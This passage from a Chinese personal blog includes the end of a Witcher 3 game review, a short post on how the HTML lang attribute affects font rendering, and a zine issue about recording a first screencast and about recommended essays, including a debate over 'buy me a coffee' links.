href="https://dbushell.com/2025/01/31/the-patient-programmer/#:~:text=%E5%9C%A8%E9%80%99%E5%80%8B%E7%8F%BE%E4%BB%A3%E9%9B%BB%E8%A6%96%E6%99%82%E4%BB%A3%EF%BC%8C%E4%BF%9D%E6%8C%81%E8%80%90%E5%BF%83%E6%98%AF%E6%9C%89%E5%9B%9E%E5%A0%B1%E7%9A%84%E3%80%82%E7%AD%89%E5%88%B0%E6%95%85%E4%BA%8B%E8%AC%9B%E5%AE%8C%EF%BC%8C%E5%86%8D%E6%8C%89%E7%85%A7%E8%87%AA%E5%B7%B1%E7%9A%84%E7%AF%80%E5%A5%8F%E4%BA%AB%E5%8F%97%E5%AE%83%E3%80%82%E5%81%9A%E4%B8%80%E5%80%8B%E8%80%90%E5%BF%83%E7%9A%84%E9%9B%BB%E7%8E%A9%E7%8E%A9%E5%AE%B6%E4%B9%9F%E6%9C%89%E5%A5%BD%E8%99%95%E3%80%82%E4%B8%8D%E8%A6%81%E9%A0%90%E8%B3%BC%E7%82%92%E4%BD%9C%E3%80%82%E4%B8%8D%E8%A6%81%E5%9C%A8%E7%99%BC%E5%94%AE%E6%99%82%E7%8E%A9%E5%85%85%E6%BB%BF%E6%BC%8F%E6%B4%9E%E7%9A%84%E7%88%9B%E6%94%A4%E5%AD%90%E3%80%82%E7%AD%89%E5%80%8B%E4%B8%80%E5%85%A9%E5%B9%B4%EF%BC%8C%E7%94%A8%E4%B8%80%E5%8D%8A%E7%9A%84%E5%83%B9%E6%A0%BC%E7%8E%A9%E4%B8%80%E6%AC%BE%E5%AE%8C%E6%88%90%E5%BA%A6%E9%AB%98%E7%9A%84%E9%81%8A%E6%88%B2">The Patient Programmer</a> by David Bushell </p> </blockquote> <p> 游戏的劇情是一大亮點,有很丰富完整的劇情,玩起來像在看電影一樣。 </p> <p> 游戏的世界観和 <a href="https://zh.wikipedia.org/zh-hans/%E9%AD%94%E6%88%92%E9%9B%BB%E5%BD%B1%E4%B8%89%E9%83%A8%E6%9B%B2">指环王</a> 類似,有精灵、矮人、女巫、獵魔人、各種魔物、魔法、法術等,時間大概是中世紀,還在用劍、弩等冷兵器, 地點以歐洲大陸為基礎,主要以波蘭、阿姆斯特丹和斯堪地那維亞為靈感來源。各種元素整體給人營造了一個如指环王般的奇幻而又真實的世界。 </p> <p> 游戏剛開始玩我其實没玩进去,一方面是在這之前我主要在玩死亡擱淺 1,對比之下能感覺到巫師 3 画質上的差距,看起來有點古早;另一方面,雖然游戏開始的劇情挻吸引人的,但游戏開始的教學太多了,一堆按鍵,一上來就給玩家比較大的心智負擔,也讓我沒馬上玩下去。後來實在無聊就耐著性子過完教程,直到接了第一個任務,才終於開始感受到游戏的魅力,越玩越喜歡。 </p> <p> 游戏的難度不高,不要求很高的操作,而且它也提供了難度選擇,最低難度是「我只想看劇情」,我選的是「想出點汗」,這樣在冥想時可以回血,玩起來就很輕鬆。角色的等級、裝備、物品都不太重要,只要會閃避,大多数敵人都能打過去,更重要的是合理用法印、尸油等去克制敵人,打起來就會相對輕鬆。游戏的重點還是在劇情,而不是打鬥。 </p> <p> 游戏里的對話也做得不錯,有的會將你置於一個兩難的境地,不知道選哪個好,是殺了對方還是放他一馬?對方的話可以相信嗎?不同的選擇有的會影響後面的劇情,例如血醒男爵那一章,如果選擇放過树精,相信树精,那麼树精恢複自由後就會屠村,它確實也會救孤儿,但最後會导致男爵妻子死去,而男爵也會自殺。而如果選擇殺了树精,劇情走向也會不一樣。得知树精屠村,又导致男爵自盡,還是會有點後悔這個選項的,但另一個選項會讓孤儿們都死去,也會後悔,真是「世間安得双全法」,總歸是要有所取舍的。而有的選項是有倒計時的,強迫你快速做出决定,容不得你多想。許許多多的决定讓玩家深入地參与到劇情的發展里,會讓人更有參与感,更沉浸,也會和里面的⻆色產生更深的聯系。玩到後面我才想起來我是可以存檔的,在一些關鍵劇情前可以提前存檔,萬一後悔選擇,讀檔重來就好了。 </p> <p> 游戏里還有一個好玩的牌類游戏叫「昆特牌」,我一度沉迷到处收集昆特牌,連主綫都放一邊了。劇情里還有昆特牌大賽,我還贏到了冠軍,可惜只拿到了一半的奬金,不過也是很大一笔錢了。游戏里搞錢也不太容易,賣物品賣不了多少錢,似乎在不同地方、和不商人售賣,能賣出的價格是不同的。比較能賺錢的路子是接獵魔任務,也就是斬妖除魔,打打打,也是提高經驗值比較快的路子。 </p> <p> 游戏還做了中文配音,也是好評,我一般更傾向於原聲,但巫師三的中文配音也做的很好,聴著不會覺得別扭,能聴懂周圍 NPC 的對話,不用總是看字幕,也讓游戏體驗好很多。 </p> <p> 游戏還沒通関,暂時玩到第一次和狂獵大戰完,有一種暂告一段落的感覺,對游戏的熱情下去了一些,後面再慢慢玩。 2027 年巫師三還有一個 DLC: <a href="https://www.thewitcher.com/fr/zh-cn/news/51969/quan-xin-zi-liao-pian-wu-shi-3-kuang-xi-jiu-shi-qu">《巫师 3:狂猎 — 旧时曲》</a>,也期待 <a href="https://www.thewitcher.com/fr/zh-cn/news/51118/wu-shi-4-shou-fa-yu-gao-pian">《巫师4》</a> 能早日完成開發。類似的游戏可能是 <a href="https://zh.wikipedia.org/zh-tw/%E5%A4%A9%E5%9B%BD%EF%BC%9A%E6%8B%AF%E6%95%91">天國拯救</a>,哪天降價便宜了也找來玩玩。 </p> <p> 如果你喜歡指环王、中世紀、冷兵器、RPG,我想你也會喜歡玩巫師三的。 </p> </div> </div> </div> <div id="footnotes"> <h2 class="footnotes">&#33050;&#27880;: </h2> <div id="text-footnotes"> <div class="footdef"><sup><a id="fn.1" class="footnum" href="#fnr.1" role="doc-backlink">1</a></sup> <div class="footpara" role="doc-footnote"><ul class="org-ul"> <li><a href="org-publish-blog.html">使用 org-publish 发布博客</a></li> <li><a href="blog-with-denote-and-org-publish.html">结合 denote 和 org-publish 写博客</a></li> </ul></div></div> <div class="footdef"><sup><a id="fn.2" class="footnum" href="#fnr.2" role="doc-backlink">2</a></sup> <div class="footpara" role="doc-footnote"><p class="footpara"> <a href="https://www.gnu.org/software/emacs/manual/html_mono/emacs.html#Local-Keymaps">emacs#Local Keymaps</a> </p></div></div> </div> </div></div> <hr> <p>感谢你的阅读!</p> <p>欢迎 <a href="mailto:l-yanlei@hotmail.com">邮件</a> 跟我分享你的想法 :)</p> <p>你也可以 <a href="https://taxodium.ink/subscribe.html">訂閱</a> 我的博客,保持更新 :P</p> <p>祝好,素未某面的读者。</p> <a href="https://taxodium.ink/54.txt">純文本版本</a> <a href="https://taxodium.ink/54.org">原始 org 文件</a>

2026/7/13
阅读更多

TIL: lang 属性會影响文字的尺寸

<div id="content" class="content e-content"> <header> <h1 class="title p-name">TIL: lang 属性會影响文字的尺寸</h1> </header><p> 你可以點開下面的兩個視頻,觀察一下頁面切換時导航的變化。當切換頁面导航時,發現导航处的文字樣式有變化,但兩個頁面的导航是一樣的,理論上說切換時不應該有樣式變化的。 </p> <figure> <video controls loop muted playsinline loading="lazy"> <source src="/images/til-lang-attribute-affects-text-size/zen.webm" type="video/webm"> </video> <figcaption>在 Zen 瀏覧器上切換导航里的頁面,可以看到在頁面切換時,連結下的下划綫長度會變化。</figcaption> </figure> <figure> <video controls loop muted playsinline loading="lazy"> <source src="/images/til-lang-attribute-affects-text-size/safari.webm" type="video/webm"> </video> <figcaption>在 Safari 瀏覧器上切換导航里的頁面,可以看到在頁面切換時,連結的字體大小會變化。</figcaption> </figure> <p> 定位了好久,我先查看了元素尺寸,發現切換時確實存在細微的尺寸變化;然後我開始排查樣式,是不是主頁里有額外的樣式?是不是导航的樣式寫的有問題?有什麼語法用的不對?調了半天還是沒有頭續。 </p> <p> 但兩個頁面有這樣的差导肯定有原因,我開始對比兩個 HTML 的差异,把大量无關的 HTML 刪除,只剩导航,問題依然存在。最後我看到兩個頁面的唯一差异是設置在 <code>&lt;html&gt;</code> 元素上的 <code>lang</code> ,在主頁是 <code>&lt;html lang="en"&gt;</code> ,而其他頁面都是 <code>&lt;html lang="zh-CN"&gt;</code> 。把主頁的 <code>lang</code> 修正為 <code>zh-CN</code> ,問題解决了。 </p> <p> 之前在加 <a href="use-pagefind-to-search-blog.html">pagefind 搜索功能</a> 時我把所有頁面的 <code>lang</code> 都改成了 <code>zh-CN</code> ,看來還是改漏了。我以為 <a href="https://www.youtube.com/watch?v=NP94u7y_KkQ">lang 只是對屏幕閱讀有影響</a>,沒想到還影响了文字顯示。 </p> <p> 這是因為瀏覧器會根據頁面上設置的 <code>lang</code> 去找合適的字體 (font-family),而我也沒有設置中文字體,而是由瀏覧器自己找,這就导致了 <code>lang</code> 不同時,應用的字體存在差异,表現出來的就是尺寸的變化。 </p> </div> <hr> <p>感谢你的阅读!</p> <p>欢迎 <a href="mailto:l-yanlei@hotmail.com">邮件</a> 跟我分享你的想法 :)</p> <p>你也可以 <a href="https://taxodium.ink/subscribe.html">訂閱</a> 我的博客,保持更新 :P</p> <p>祝好,素未某面的读者。</p> <a href="https://taxodium.ink/til-lang-attribute-affects-text-size.txt">純文本版本</a> <a href="https://taxodium.ink/til-lang-attribute-affects-text-size.org">原始 org 文件</a>

2026/7/13
阅读更多

Zine#53 - 第一次录󠄃製視頻、要請作者喝咖啡嗎?

<div id="content" class="content e-content"> <header> <h1 class="title p-name">Zine#53</h1> <p class="subtitle" role="doc-subtitle">第一次录󠄃製視頻、要請作者喝咖啡嗎?</p> </header> <p> 🎶 Timely!! - 杏里 (あんり) </p> <style> .lyric-card p { color: #02b4f1; background: linear-gradient(to left, transparent, #fff); & b { color: #0269b8; } } </style> <p> 炎炎夏日,給大家分享一張 City Pop 専輯,杏里的《Timely!!》。這張専輯有著活泼的律動,精致的編曲,甜美的歌聲,封面會讓我想到海邊和沙滩,整張専輯充滿活力,還蠻適合夏天的。選了専輯中的 <i>WINDY SUMMER</i> 作為封面歌詞,希望大家也能拥有一個 WINDY SUMMER!! </p> <hr> <p> 前陣子寫了 <a href="elfeed-4-0-0-usage-sharing.html">Elfeed 4.0.0 使用分享</a>,考慮到更直観地讓讀者看到 Elfeed 的功能,於是就嘗試了录󠄃視頻。這是第一次录󠄃這類視頻,本以為一口氣講完录󠄃完就行,但實際操作下來還是花了不少時間,經歷了几次重录󠄃,主要因為: </p> <ul class="org-ul"> <li>录󠄃制過程中會碰到一些意外問題,导致需要花時間处理,擾亂了視頻的節奏。</li> <li>我大體上是按照博客的脉絡講的,但文章里可能存在缺漏,意識到之後又會导致我中斷下來。</li> </ul> <p> 不過儘管重录󠄃了好几次,但這個過程也帮我查漏补缺,讓我更清楚要呈現什麼,怎麼呈現。我懶得剪輯,不然也可以分段录󠄃制拼接,不用總是重录󠄃,還可以塞點喜歡的音樂进去。不剪也是好的,讀者可以看到我碰到的問題以及如何解决的,如果剪的話很可能會把一些意外剪掉。 </p> <p> 視頻录󠄃制用的是 macOS 自帯的录󠄃屏功能,收音用 airpods,鍵位顯示用的是 <a href="https://github.com/keycastr/keycastr">keycastr/keycastr</a>。不知道是录󠄃屏功能問題,還是 airpods 問題,有部分录󠄃音聲音會很小,或許要用専業的麦克風會更好,不過我也不給常录製󠄃,airpods 暂時也够用了。 </p> <p> 我上傳了 Bilibili 和 YouTube,兩者上傳都挺方便的。 Bilibili 需要上傳、审核完成才能拿到視頻連結,没什麼限制,可以給視頻添加章節,可以生成 AI 中文字幕; YouTube 一上傳就會先給我視頻連結,但可能我 YouTube 用的不多,它不允許我在視頻簡介添加連接,它的主要語言是英語,也無法帮我生成字幕。 </p> <p> 字幕還是應該加的,毕竟有的人可能聴不清,聴清了可能也反應不過來說的是什麼。兩個平台都有加字幕的地方,會將有語音的部分拆出來,讓你一部分一部分輸入,但我太懶也還没加。加字幕這件事很適合用 AI 工具來做,肯定也有相關工具。 </p> <p> 視頻發布後也没什麼播放量,不過我也不追求,它們主要是作為文章的补充,如果能給讀者帯來些許帮助,就够了。讓我意外的是在 Sacha Chua 在 <a href="https://sachachua.com/blog/2026/06/2026-06-22-emacs-news/">2026-06-22 Emacs news</a> 里收录󠄃了 YouTube 上的視頻,不知道她是怎麼發現的,感謝 Sacha 帮忙擴散 :) </p> <p> 录󠄃視頻還是蠻有趣的,也是另一種表達的途徑,以後有機會我會再嘗試一下。 </p> <div id="outline-container-2ABEEA7D-2098-4CED-B823-3007990081CC" class="outline-2"> <h2 id="2ABEEA7D-2098-4CED-B823-3007990081CC"><a href="#2ABEEA7D-2098-4CED-B823-3007990081CC">News | Article</a></h2> <div class="outline-text-2" id="text-2ABEEA7D-2098-4CED-B823-3007990081CC"><ul class="org-ul"> <li><p> <a href="https://forkingmad.blog/my-neighbour-tells-me-i-am-crazy/">My Neighbour tells me I am Crazy!</a> by Forking Mad+ </p> <p> 一篇可愛温暖的短文,去看看吧。 </p></li> <li><p> <a href="https://hollie.eilloh.net/posts/weekend-report-crows-costco-farmers-market-a-baby-corgi">Weekend report: crows, costco, farmer’s market, A BABY CORGI</a> by Hollie </p> <p> Hollie 的博客大概是在 <a href="blaugust-2025.html">Blaugust 2025</a> 發現的。 </p> <p> 那會儿新增了太多的博客訂閱,根本看不過來。後來我用 <a href="nichijou-6.html#73537C35-2E65-424A-89D3-C1C0F3773D3F">日常#6::订阅流整理</a> 中分享的方法整理訂閱流,簡单來說就是將訂閱流按照常看和不常看分類,大多時候我只看那些常看分組里的訂閱流。這樣可以避免閱讀列表被不常看的訂閱流填滿,导致常看訂閱流不好找;也避免信息太多看不過來,导致焦慮。但這個方法有個問題是,對於一個新訂閱流,我還不熟悉它,往往會選擇將它放在不常看分組,先觀察一陣。當將一個訂閱流归類到不常看,往往看的時候也會没那麼認真,久而久之,那些被放在不常看分組的訂閲流會很難进入我的視野,很難轉到常看分組,一些我可能喜歡的博客就這樣長期被我忽略了。 </p> <p> 前陣子我重新整理了訂閱流,放弃了原來的整理方法,不區分是否常看。對於更新過於頻繁,我又不是很感興趣的訂閱流,我設置了默認不更新,只有我想看時,手動触發才更新;另外我還設置了只看最近一周的內容。這樣我每天能看到的訂閱條目不會很多,同時也涌出了很多我之前没怎麼看過的訂閱流,看到的內容更丰富了。 </p> <p> Hollie 的博客就是我最近重新認識的,我大概是從 Hollie 分享她和 <a href="https://hollie.eilloh.net/tag/birbs">乌鴉</a> 的故事開始喜歡上她的博客的。也喜歡看她在博客分享的很多生活片段。之前還看到了 Hollie 分享她在夏至 (一年中白天最長的一天)<a href="https://hollie.eilloh.net/posts/summer-solstice-2026">看日落</a>,感覺真不錯,在特別的日子里做一些特別的事,也有些浪漫。 </p> <p> 不知道 Hollie 會不會看到我的博客,如果看到了,Spike 向你問好,希望你一切都好 :) </p></li> <li><p> <a href="https://anniemueller.com/posts/do-not-bargain-to-be-loved">Do not bargain to be loved</a> by annie </p> <p> annie 關於什麼是愛的一篇短文。 </p> <details> <summary>摘录</summary> <blockquote> <p> 愛存在於所有它出現的場合,並且顯而易見。 </p> <p> 如果它不明顯 ⸺ 如果你無法感覺到它、聽到它、並看到它的行動 ⸺ 它就不存在。 </p> <p> 這看起來像是一條嚴苛的規則,但這是關於愛的唯一規則。 </p> <p> 愛並不混亂。愛是清晰的。愛是簡單的。愛是顯而易見的。像天空一樣廣闊,像大山一樣堅固。勇敢而誠實,溫柔而堅定。 </p> <p> 你不需要在黑暗的角落裡到處摸索,問道:「是在這裡嗎?是在這裡嗎?」 </p> <p> 你不需要挖掘愛直到手指流血。你不需要拆解某些鋒利的東西來獲取那充滿愛的柔軟核心。 </p> <p> 愛不會躲藏。愛會出現並停留。愛就在當下。 </p> <p> 當你被愛時,你會知道。你會感覺到。它會讓你敞開心扉。它賜予你廣闊與親近、自由與安全,兩者並重。你不必選擇其一而失去另一。愛不會只給你一半。愛是完整的。 </p> <p> <a href="https://anniemueller.com/posts/do-not-bargain-to-be-loved#:~:text=it%2E-,Love,loved%2E">Source</a> </p> </blockquote> <blockquote> <p> 以下是一些不屬於愛的東西: </p> <ul class="org-ul"> <li>親暱</li> <li>認同</li> <li>關注</li> <li>吸引力</li> <li>讚美</li> <li>道歉</li> <li>禮物</li> <li>性</li> </ul> <p> 愛可能會以這些方式表達。愛可能會給你親暱、關注,以及上述所有。這很美好。 </p> <p> 愛可以為你帶來這些,但它並不壟斷這些。 </p> <p> 認同可能源於逃避衝突。 </p> <p> 關注可能源於嫉妒。 </p> <p> 親暱可能源於孤獨。 </p> <p> 讚美可能源於討好他人的需要。 </p> <p> 禮物可能源於內疚。 </p> <p> <a href="https://anniemueller.com/posts/do-not-bargain-to-be-loved#:~:text=Here%20are,guilt%2E">Source</a> </p> </blockquote> </details></li> <li><p> <a href="https://theidlegazette.beehiiv.com/p/the-idle-gazette-4">The Idle Gazette | 4</a> by Leo Umilio </p> <p> 喜歡文章中關於平躺看夜空的浪漫的描述。 </p> <details> <summary>摘录</summary> <blockquote> <p> 本週包含一年中最短的夜晚。在一個晴朗的夜晚,無論是今晚還是其他晚上,花點時間仰臥在露天星空下。 </p> <p> 環境條件很重要,所以請容我精確說明。要在戶外,而不是在窗邊。平躺下來,因為這就是整個機制的關鍵:天空不會進入一個站立的人,因為站立是一種帶有意圖的姿勢,而意圖正是我們要放下的東西。草地上的毯子、長凳、汽車引擎蓋,或者如果你的地理環境允許的話,屋頂也可以。最少三十分鐘,不准使用電子設備,這點你現在應該已經預料到了,但我還要加上一條更嚴厲的禁令:不准辨認任何東西。那些星座應用程式留在室內,你那想要認出織女星並獲得成就感的念頭也一樣。命名是生產力從花園後門溜回來的表現。你不是去那裡學習天空,你是去那裡待在天空之下。 </p> <p> 最初的幾分鐘會感到心癢難耐,就像兩週前沒帶手機走路時的那種心癢。然後,如果夜晚足夠黑暗,而你又足夠耐心,一件事情就會發生,我不會過分吹噓它,因為它不需要我:<span class="underline">天空不再是一個天花板,而變成了一種深度,</span><span class="underline">而這種深度正以光速進入你的體內,也就是說,這種「無所事事」在這一刻,顯然是相互的。</span><span class="underline">降落在你身上的光在曆法出現之前就已經離開了其中一些恆星。</span><span class="underline">它一路跋涉而來,抵達時所發現的,是一個躺在那裡、無所事事的人,而這正是接收它的唯一正確方式。</span><span class="underline">無限不會闖入忙碌者的世界。</span><span class="underline">它在等待一個橫臥的人。</span> </p> <p> ⌂ 預計付出:一個晴朗的夜晚、一片草地、些許露水 </p> <p> ☽ 預計收穫:對自身渺小程度的正確體認 </p> <p> <a href="https://theidlegazette.beehiiv.com/p/the-idle-gazette-4#:~:text=PRACTICE%20%E2%9D%A7-,This,dew">Source</a> </p> </blockquote> </details></li> <li><p> <a href="https://eyu.at/posts/560.202606.html">没能展现神迹, 我很抱歉</a> by 鹅玉 </p> <p> 鹅玉的一些工作感想,關於 AI 的部分也是很讓人心塞。有的人深信有了 AI 就無所不能,任何困難都可以用一句「不是有 AI 嗎」打發你。 </p> <p> <a href="https://correresmidestino.com/dont-you-just-upload-it-to-chatgpt/">“Don’t You Just Upload It to ChatGPT?”</a> by Juliette </p> <p> 這篇也是類似的,當用 AI 需要承擔的責任不在自己身上時,有的人就會不負責任的來一句「不是用 AI 就行了嗎」,忽視可能存在的複雜性,把一切都想得很簡单。 </p></li> <li><p> <a href="https://www.thesignalist.io/s/the-dialogue-dividend/">The Dialogue Dividend</a> by Jakub Skoczeń </p> <p> 和人對話,需要組織語言表達清楚,這個過程會促进思考。寫作、<a href="https://zh.wikipedia.org/zh-cn/%E5%B0%8F%E9%BB%84%E9%B8%AD%E8%B0%83%E8%AF%95%E6%B3%95">橡皮鸭調試</a> 也有類似的效果,但和人對話還能收到對方的反饋,可能會帯來一些思維碰撞,從而產生一些新的思考,這是獨自一人時做不到的。除此之外,和人對話,也是在對方這里留下了印象,當日後需要合作時,可能更容易相处 (如果是坏印象另說)。 </p> <details> <summary>摘录</summary> <blockquote> <p> 當你大聲說出某些想法時,你就對其作出了承諾。原本只是模糊印象的舒適想法必須轉化為句子,而句子是有結構的。它們有主語和謂語,並提出可以被評估的主張。說話的行為強迫了一種內心獨白從不需要的精確性。 </p> <p> 聽眾會進一步加速這個過程。並非因為他們提供答案,而是因為他們有反應。眉頭微蹙意味著解釋不夠到位;一個問題揭示了你甚至沒意識到的假設;當有人說「對,我也見過這種情況」時,這種認同感確認了你正指向真實存在的事物。這種反饋循環在對話中實時持續運行,在思維飄得太遠之前糾正其方向。 </p> <p> 當你獨自思考時,這一切都不會發生。 </p> <p> <a href="https://www.thesignalist.io/s/the-dialogue-dividend/#:~:text=When%20you%20say,alone">Source</a> </p> </blockquote> </details></li> <li><p> <a href="https://justinjackson.ca/communication">We have a communication problem</a> by Justin Jackson </p> <p> 文字的信息維度单一,人閱讀時也容易去略讀,可能没有認真地去看,只有文字沟通可能容易產生誤解。如果文字沟通出現誤解,可以的話去試試語音,視頻,最好是面對面,這樣能够捕获到對方更多的信息,可以更好地去理解對方想表達的信息。 </p> <details> <summary>摘录</summary> <blockquote> <p> <a href="https://journals.sagepub.com/doi/abs/10.1177/0956797617713798">Juliana Schroeder 在 2017 年的一項研究</a> 呼應了我的經驗。她和同事讓受試者接收一個他們不同意的觀點;有些人聽到了口頭陳述,有些人則閱讀文字。當人們聽到論點時,他們會認為對方更深思熟慮且通情達理。但當他們閱讀同樣的文字時,他們會更快地否定對方。 </p> <p> 在現實中,更容易理解一個人的立場,也更容易看出他們的感受。你直視他們的眼睛,感受到他們的人性。這並不代表這很容易。與另一個人類達成共識是極其困難的。 </p> <p> <a href="https://justinjackson.ca/communication#:~:text=A%202017,what%27s">Source</a> </p> </blockquote> <blockquote> <p> 當我們選擇待在同一個空間、呼吸著同樣的空氣、忍受著同樣的廢話時,某種難以言喻的化學反應便會發生。我們一直以來所稱的「兩極分化」,在某種程度上,或許其實是「距離」的問題。 </p> <p> <a href="https://justinjackson.ca/communication#:~:text=Something%20ineffable%20happens%20when%20we%20choose%20to%20be%20in%20the%20same%20room%2C%20breathing%20the%20same%20air%2C%20tolerating%20the%20same%20bullshit%2E%20What%20we%20have%20been%20calling%20%E2%80%9Cpolarization%E2%80%9D%20might%2C%20in%20part%2C%20be%20a%20proximity%20issue">Source</a> </p> </blockquote> </details></li> <li><p> <a href="https://www.jonafato.com/2024/12/20/stacking-chairs">Stacking Chairs</a> by jonafato </p> <p> 推薦一讀的短文。 </p> <p> 「疊椅子」就是字面上把椅子疊在一起,在社區活動結束時,你多花幾分鐘疊椅子,社區組織者就能早幾分鐘回家。這件事有 3 個特征: </p> <ul class="org-ul"> <li>簡单</li> <li>普通,不會給你帯來什麼</li> <li>這是發生在樂趣結束之後的事情。組織者要善後,而參与者可以自由离開,不一定被期望提供幫助。</li> </ul> <p> 願意留下來疊椅子的人,(通常)是那種只想提供幫助而幫忙的人,並且渴望投入任何需要完成的工作。 </p> <p> 疊椅子和其他符合這些標準的志願者任務,是識別那些可能是可靠貢獻者、且有興趣更深入參與社群的人的試金石。 </p></li> <li><p> <a href="https://wiwi.blog/blog/sent-from-my-iphone/">從我的 iPhone 傳送</a> by Wiwi </p> <p> 原來手機邮件上這句話是可以設置的,改了,順便隱藏了头像,界面看起來更簡洁了。 </p></li> <li><p> <a href="https://www.yozblog.com/posts/you-re-a-bit-tone-deaf/">你音感有點差</a> by DrummerYoZ 鼓手柚子 </p> <p> See also: <a href="https://wiwi.blog/blog/computer-class-story/">我的電腦課罰站故事</a> by Wiwi </p> <p> 兩篇都是作者關於小時候被大人隨意否定的經歷。大人對於小孩來說,話語的更有重量,聴起來更權威,小孩也暂時没什麼分辨能力,就很容易信以為真,被一些否定的話打擊。作為一個大人,在面對小孩時,要注意自己的言行,很可能自己一句不經意的否定,就給對方帯來了很深的負面影响。 </p></li> <li><p> 要不要給作者買咖啡? </p> <p> <a href="https://hakkerman.eu/blog/i-wont-buy-you-a-coffee/">No, I Won't Buy You A Coffee</a> by Hakkerman </p> <p> Hakkerman 的觀點是,我就是不想看广吿才來看獨立博客的,結果又看到獨立博客在討錢 (又是广告, Damn!) 讓作者感到反感。其次 Hakkerman 以自己為例,指出大多数獨立博客根本不需要多少運营成本 (我大致認同),也不需要讀者贊助。 Hakkerman 認為獨立博客應該用愛發電,不要談錢,不要用資本去污染它。 </p> <p> 這篇文章馬上引來了其他人的討論。 </p> <p> <a href="https://brennan.day/yes-buy-them-a-coffee-support-and-mutual-aid-on-the-indieweb/">Yes, Buy Them a Coffee: Support and Mutual Aid on the IndieWeb</a> by Brennan Kenneth Brown </p> <p> Brennan 認為博客作者大多也是用愛發電的,他們在文章底部放一个 Buy Me a Cofee 的連結,也不強制任何人付費,不管你支持与否,文章都在那任你閱讀。 </p> <blockquote> <p> 所以,當有人結束工作回到家,打開手提電腦,純粹出於熱愛、出於希望自己的文字能觸動某人的微小期盼而免費寫作,並在文末放上一個連結時,我們不應將其視為廣告,而應將其視為一個活生生的人。 </p> <p> [&hellip;] </p> <p> 但當人們在可以免費閱讀的網誌末尾,請求別人請他們喝杯咖啡時,這並非商品化,也不是將愛好轉化為榨取式勞動。不,這是一個人在請求另一個人的支持,即使這種支持並非強制要求。 </p> <p> <a href="https://brennan.day/yes-buy-them-a-coffee-support-and-mutual-aid-on-the-indieweb/#:~:text=So,requirement">Source</a> </p> </blockquote> <p> Brennan 也指出,每個人的經済條件不同,對一些作者而言,網站的運营成本是有壓力的。他認為人們應該互助,用你的錢去選擇你想拥有/建立的互聯網。 (就像市面上的產品一樣,也是消費者用錢投票篩選出來的) </p> <blockquote> <p> 慈善是由權力者向下流向被視為「值得」的人,且取決於施予者的條件。相反,互助是在彼此流動的,它是橫向的,植根於一種認知:<span class="underline">你我的生存是緊密相連的。當我支持你時,我也在建立一個我想生活在其中的世界。</span> </p> <p> <a href="https://brennan.day/yes-buy-them-a-coffee-support-and-mutual-aid-on-the-indieweb/#:~:text=%E6%85%88%E5%96%84%E6%98%AF%E7%94%B1%E6%AC%8A%E5%8A%9B%E8%80%85%E5%90%91%E4%B8%8B%E6%B5%81%E5%90%91%E8%A2%AB%E8%A6%96%E7%82%BA%E3%80%8C%E5%80%BC%E5%BE%97%E3%80%8D%E7%9A%84%E4%BA%BA%EF%BC%8C%E4%B8%94%E5%8F%96%E6%B1%BA%E6%96%BC%E6%96%BD%E4%BA%88%E8%80%85%E7%9A%84%E6%A2%9D%E4%BB%B6%E3%80%82%E7%9B%B8%E5%8F%8D%EF%BC%8C%E4%BA%92%E5%8A%A9%E6%98%AF%E5%9C%A8%E5%BD%BC%E6%AD%A4%E6%B5%81%E5%8B%95%E7%9A%84%EF%BC%8C%E5%AE%83%E6%98%AF%E6%A9%AB%E5%90%91%E7%9A%84%EF%BC%8C%E6%A4%8D%E6%A0%B9%E6%96%BC%E4%B8%80%E7%A8%AE%E8%AA%8D%E7%9F%A5%EF%BC%9A%E4%BD%A0%E6%88%91%E7%9A%84%E7%94%9F%E5%AD%98%E6%98%AF%E7%B7%8A%E5%AF%86%E7%9B%B8%E9%80%A3%E7%9A%84%E3%80%82%E7%95%B6%E6%88%91%E6%94%AF%E6%8C%81%E4%BD%A0%E6%99%82%EF%BC%8C%E6%88%91%E4%B9%9F%E5%9C%A8%E5%BB%BA%E7%AB%8B%E4%B8%80%E5%80%8B%E6%88%91%E6%83%B3%E7%94%9F%E6%B4%BB%E5%9C%A8%E5%85%B6%E4%B8%AD%E7%9A%84%E4%B8%96%E7%95%8C">Source</a> </p> </blockquote> <blockquote> <p> 相信我不必多言,人們賺錢的方式往往會降低其寫作與網站的品質,無論是侵入式廣告、不誠實的產品評論,還是激進的聯盟行銷連結。 </p> <p> 正因如此,人們需要以符合倫理、非剝削的方式從作品中獲益。 </p> <p> <a href="https://brennan.day/yes-buy-them-a-coffee-support-and-mutual-aid-on-the-indieweb/#:~:text=I%27m%20sure%20I,like">Source</a> </p> </blockquote> <p> <a href="https://taonaw.com/2026/06/16/why-yes-ill-buy-you.html">Why Yes, I'll Buy You a Coffee</a> by TAONAW </p> <p> TAONAW 大體同意 Hakkerman,但他并不反對贊助連結,只是贊助連結不要那麼強势、別顯眼得讓人厭惡就好。讀者願意贊助,那是一種讀者表達的善意。 </p> <blockquote> <p> 我從不認為這是他們支付的一種報酬,甚至如果你仔細想想,這也不是一種賄賂。他們只是善良的人。老實說,即使我沒從他們身上拿到一分錢,我也會同樣對待他們,純粹因為他們的人品。錢固然不錯,但那個總是要求拿鐵要「比太陽還燙」的 Stacy 呢?無論如何她都能如願以償。雖然聽起來很老套,但我喜歡看她臉上的笑容,也喜歡她告訴我的值班主管說我知道該怎麼沖泡。 </p> <p> 今天,當我看到一個帶有 Ko‑Fi 按鈕的博客時,只要它不令人反感(我想這就是 Hakkerman 的意思),我都覺得沒問題。如果它安靜地待在一旁,而不是像那些強行攔截的流氓廣告那樣叫囂著「既然喜歡就點這裡付錢!給我給我!」,那就完全沒問題。沒錯,我也曾不時請過幾位博客(和藝術家)喝一兩杯咖啡。 </p> <p> <a href="https://taonaw.com/2026/06/16/why-yes-ill-buy-you.html#:~:text=I%20never,times">Source</a> </p> </blockquote> <details> <summary>TAONAW 還給博客作者一些建議</summary> <ul class="org-ul"> <li>公開網站維护成本,增加透明度,也能讓其他想開始寫網誌的人心裡有個底。</li> <li>不要乞求,也不要令人反感。</li> <li><p> 不要做付費訂閱。 </p> <blockquote> <p> 訂閱是一種預付款形式,本質上是勒索。它在說:「嘿,你最好再發新文章,我是付了錢的客戶,否則我就走人。」 </p> </blockquote></li> <li>要感謝那些閱讀你網誌的人,而不僅僅是打賞的人。</li> <li>去享受寫的過程,有没有贊助并不重要。</li> </ul> </details> <p> 說說我的看法,我不討厭博客有類似 Buy me a coffee 的連結(我的博客也有),但我不喜歡做的太明顯的,如果做成弹窗,像是乞求一樣,就更不喜歡。虽然明顯一些更容易讓人看到,或許更容易有轉化,但贊助本身是讀者自願的行為,想贊助的讀者總能找到入口的,没必要做得很抢眼。 </p> <p> 